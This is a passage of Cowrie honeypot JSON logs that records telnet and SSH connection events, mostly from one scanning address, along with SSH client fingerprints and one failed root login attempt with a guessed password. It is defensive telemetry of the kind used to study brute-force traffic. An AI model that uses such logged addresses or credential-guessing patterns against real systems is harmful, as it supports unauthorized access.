0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:59.917210Z","src_ip":"213.209.159.158","session":"9f2487061dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57490,"dst_ip":"159.203.135.109","dst_port":23,"session":"053f90198140","protocol":"telnet","message":"New connection: 162.55.233.176:57490 (159.203.135.109:23) [session: 053f90198140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:00.568974Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57496,"dst_ip":"159.203.135.109","dst_port":23,"session":"fffa1c03bff4","protocol":"telnet","message":"New connection: 162.55.233.176:57496 (159.203.135.109:23) [session: fffa1c03bff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:00.668603Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57508,"dst_ip":"159.203.135.109","dst_port":23,"session":"226f3904b1c4","protocol":"telnet","message":"New connection: 162.55.233.176:57508 (159.203.135.109:23) [session: 226f3904b1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:01.025748Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:01.160809Z","src_ip":"103.170.173.26","session":"066a069e2d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.57405066490173,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:01.794952Z","src_ip":"162.55.233.176","session":"c965f6b79625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80809807777405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:01.886656Z","src_ip":"162.55.233.176","session":"84507f73a88d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.121440172195435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:01.966446Z","src_ip":"162.55.233.176","session":"8b988e7b417d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61526656150818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:02.275382Z","src_ip":"162.55.233.176","session":"c8bcd7afa8f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048110008239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:02.850938Z","src_ip":"162.55.233.176","session":"f9a5cdfd172a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70981812477112,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:02.998459Z","src_ip":"162.55.233.176","session":"90484abbd209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55552,"dst_ip":"159.203.135.109","dst_port":23,"session":"9104639a9ad4","protocol":"telnet","message":"New connection: 162.55.233.176:55552 (159.203.135.109:23) [session: 9104639a9ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:03.269312Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55554,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a9777b0284d","protocol":"telnet","message":"New connection: 162.55.233.176:55554 (159.203.135.109:23) [session: 4a9777b0284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:03.389090Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55562,"dst_ip":"159.203.135.109","dst_port":23,"session":"8820b8915722","protocol":"telnet","message":"New connection: 162.55.233.176:55562 (159.203.135.109:23) [session: 8820b8915722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:03.901950Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53126,"dst_ip":"10.17.0.5","dst_port":23,"session":"40953a8144f5","protocol":"telnet","message":"New connection: 188.208.141.113:53126 (10.17.0.5:23) [session: 40953a8144f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:04.964294Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55566,"dst_ip":"159.203.135.109","dst_port":23,"session":"71f1dc2cb8b1","protocol":"telnet","message":"New connection: 162.55.233.176:55566 (159.203.135.109:23) [session: 71f1dc2cb8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:04.996595Z"}
{"eventid":"cowrie.session.closed","duration":34.111774921417236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:05.124514Z","src_ip":"188.208.141.113","session":"59d1d4805a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2385675907135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:05.250995Z","src_ip":"162.55.233.176","session":"7e8de034fa24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.21916890144348,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:05.610186Z","src_ip":"162.55.233.176","session":"14b8b2f2ef94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74619770050049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:05.619275Z","src_ip":"162.55.233.176","session":"4de80b714ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55576,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42f1bb8029d","protocol":"telnet","message":"New connection: 162.55.233.176:55576 (159.203.135.109:23) [session: a42f1bb8029d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:05.901098Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55584,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e7beb5c752","protocol":"telnet","message":"New connection: 162.55.233.176:55584 (159.203.135.109:23) [session: 52e7beb5c752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:06.126428Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"6099b52d0aae","protocol":"telnet","message":"New connection: 162.55.233.176:55594 (159.203.135.109:23) [session: 6099b52d0aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:06.542526Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"a920353aefb7","protocol":"telnet","message":"New connection: 162.55.233.176:55602 (159.203.135.109:23) [session: a920353aefb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:06.741842Z"}
{"eventid":"cowrie.session.closed","duration":33.10035586357117,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:06.922096Z","src_ip":"162.55.233.176","session":"67729c428db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.785521507263184,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:07.014760Z","src_ip":"162.55.233.176","session":"372d0bc9e30c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55620,"dst_ip":"159.203.135.109","dst_port":23,"session":"aada301bd89d","protocol":"telnet","message":"New connection: 162.55.233.176:55620 (159.203.135.109:23) [session: aada301bd89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:07.864604Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55630,"dst_ip":"159.203.135.109","dst_port":23,"session":"b621a4d976f5","protocol":"telnet","message":"New connection: 162.55.233.176:55630 (159.203.135.109:23) [session: b621a4d976f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:08.234456Z"}
{"eventid":"cowrie.session.closed","duration":30.884401321411133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:08.379646Z","src_ip":"162.55.233.176","session":"ee9f1688ec2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vJSUURmRq","message":"login attempt [root/vJSUURmRq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:08.447088Z","src_ip":"213.209.159.158","session":"9f2487061dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55608,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed85c84a874","protocol":"telnet","message":"New connection: 162.55.233.176:55608 (159.203.135.109:23) [session: eed85c84a874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:08.587965Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55640,"dst_ip":"159.203.135.109","dst_port":23,"session":"b905ff783ebb","protocol":"telnet","message":"New connection: 162.55.233.176:55640 (159.203.135.109:23) [session: b905ff783ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:08.854628Z"}
{"eventid":"cowrie.session.closed","duration":32.28235173225403,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:09.038028Z","src_ip":"162.55.233.176","session":"758e0e464723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.571714878082275,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:09.423228Z","src_ip":"188.208.141.113","session":"2801e3f63370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55644,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb440afdd9c","protocol":"telnet","message":"New connection: 162.55.233.176:55644 (159.203.135.109:23) [session: 3bb440afdd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:09.575787Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55650,"dst_ip":"159.203.135.109","dst_port":23,"session":"5836418056f8","protocol":"telnet","message":"New connection: 162.55.233.176:55650 (159.203.135.109:23) [session: 5836418056f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:09.783462Z"}
{"eventid":"cowrie.session.closed","duration":31.05258584022522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:10.188320Z","src_ip":"162.55.233.176","session":"98fc9e1fbcdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92165493965149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:10.415981Z","src_ip":"162.55.233.176","session":"6137e5a8e620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55658,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd295daee6cf","protocol":"telnet","message":"New connection: 162.55.233.176:55658 (159.203.135.109:23) [session: dd295daee6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:10.564186Z"}
{"eventid":"cowrie.session.closed","duration":44.7137668132782,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:10.802118Z","src_ip":"188.208.141.113","session":"ff9850c8558d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55670,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e8396d9e02d","protocol":"telnet","message":"New connection: 162.55.233.176:55670 (159.203.135.109:23) [session: 5e8396d9e02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:10.936549Z"}
{"eventid":"cowrie.session.closed","duration":33.68330192565918,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:11.588736Z","src_ip":"162.55.233.176","session":"2bb4fce16e7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:11.854809Z","src_ip":"213.209.159.158","session":"9f2487061dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.71624302864075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:11.873396Z","src_ip":"162.55.233.176","session":"ea1720771884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"787554a671bc","protocol":"ssh","message":"New connection: 213.209.159.158:55072 (10.17.0.5:22) [session: 787554a671bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:11.945538Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55678,"dst_ip":"159.203.135.109","dst_port":23,"session":"74d519be589c","protocol":"telnet","message":"New connection: 162.55.233.176:55678 (159.203.135.109:23) [session: 74d519be589c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:12.394866Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55690,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7f1f65c0ff9","protocol":"telnet","message":"New connection: 162.55.233.176:55690 (159.203.135.109:23) [session: c7f1f65c0ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:12.453338Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"89fa29b6e424","protocol":"telnet","message":"New connection: 162.55.233.176:55706 (159.203.135.109:23) [session: 89fa29b6e424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:12.645452Z"}
{"eventid":"cowrie.session.closed","duration":7.918779134750366,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:12.882969Z","src_ip":"188.208.141.113","session":"40953a8144f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.932976722717285,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:13.614830Z","src_ip":"162.55.233.176","session":"b8bd01c5dece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.933950424194336,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:13.638374Z","src_ip":"162.55.233.176","session":"ebd8007a0837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00650930404663,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:13.717893Z","src_ip":"162.55.233.176","session":"0533446f4997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.99982523918152,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:13.898575Z","src_ip":"162.55.233.176","session":"915a51ef4be9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:13.918075Z","src_ip":"213.209.159.158","session":"787554a671bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:13.922061Z","src_ip":"213.209.159.158","session":"787554a671bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49434,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b408586b913","protocol":"telnet","message":"New connection: 162.55.233.176:49434 (159.203.135.109:23) [session: 1b408586b913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:14.248882Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49440,"dst_ip":"159.203.135.109","dst_port":23,"session":"688093d44939","protocol":"telnet","message":"New connection: 162.55.233.176:49440 (159.203.135.109:23) [session: 688093d44939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:14.307398Z"}
{"eventid":"cowrie.session.closed","duration":35.287410497665405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:14.827323Z","src_ip":"162.55.233.176","session":"cdab646353fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.56351566314697,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:15.369096Z","src_ip":"162.55.233.176","session":"6881f1e72793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49462,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc88d64b2fcd","protocol":"telnet","message":"New connection: 162.55.233.176:49462 (159.203.135.109:23) [session: dc88d64b2fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:15.570858Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d6de1b9e61a","protocol":"telnet","message":"New connection: 162.55.233.176:49476 (159.203.135.109:23) [session: 0d6de1b9e61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:15.750530Z"}
{"eventid":"cowrie.session.closed","duration":34.447691202163696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:15.760279Z","src_ip":"188.208.141.113","session":"d5c1f86d828a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49488,"dst_ip":"159.203.135.109","dst_port":23,"session":"93766dd9cc9c","protocol":"telnet","message":"New connection: 162.55.233.176:49488 (159.203.135.109:23) [session: 93766dd9cc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:16.120081Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49456,"dst_ip":"159.203.135.109","dst_port":23,"session":"091c3346449c","protocol":"telnet","message":"New connection: 162.55.233.176:49456 (159.203.135.109:23) [session: 091c3346449c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:16.205375Z"}
{"eventid":"cowrie.session.closed","duration":31.365806102752686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:16.219326Z","src_ip":"162.55.233.176","session":"017afca8a70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49502,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2e74e7a9f9e","protocol":"telnet","message":"New connection: 162.55.233.176:49502 (159.203.135.109:23) [session: c2e74e7a9f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:16.346905Z"}
{"eventid":"cowrie.session.closed","duration":33.332396268844604,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:16.527926Z","src_ip":"162.55.233.176","session":"7e4d319fcb58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2dd2d82ab9d","protocol":"telnet","message":"New connection: 162.55.233.176:49516 (159.203.135.109:23) [session: b2dd2d82ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:17.456432Z"}
{"eventid":"cowrie.session.closed","duration":30.953051805496216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:18.413248Z","src_ip":"162.55.233.176","session":"881afd0fd460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980112314224243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:18.674778Z","src_ip":"162.55.233.176","session":"5619229c7af0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488795280456543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:19.364905Z","src_ip":"162.55.233.176","session":"10a8c4365adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72400975227356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:19.518267Z","src_ip":"162.55.233.176","session":"95a972011c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19268870353699,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:20.038200Z","src_ip":"162.55.233.176","session":"02f617dbf0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.891277551651,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:20.477844Z","src_ip":"206.189.32.23","session":"bc3199882369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5926411151886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:20.958714Z","src_ip":"162.55.233.176","session":"70e2b063c980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d20ea9441dee","protocol":"telnet","message":"New connection: 162.55.233.176:49528 (159.203.135.109:23) [session: d20ea9441dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:21.035609Z"}
{"eventid":"cowrie.session.closed","duration":37.17189121246338,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:21.434387Z","src_ip":"162.55.233.176","session":"e01d77e045d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49536,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd0a249a82e0","protocol":"telnet","message":"New connection: 162.55.233.176:49536 (159.203.135.109:23) [session: fd0a249a82e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.065581Z"}
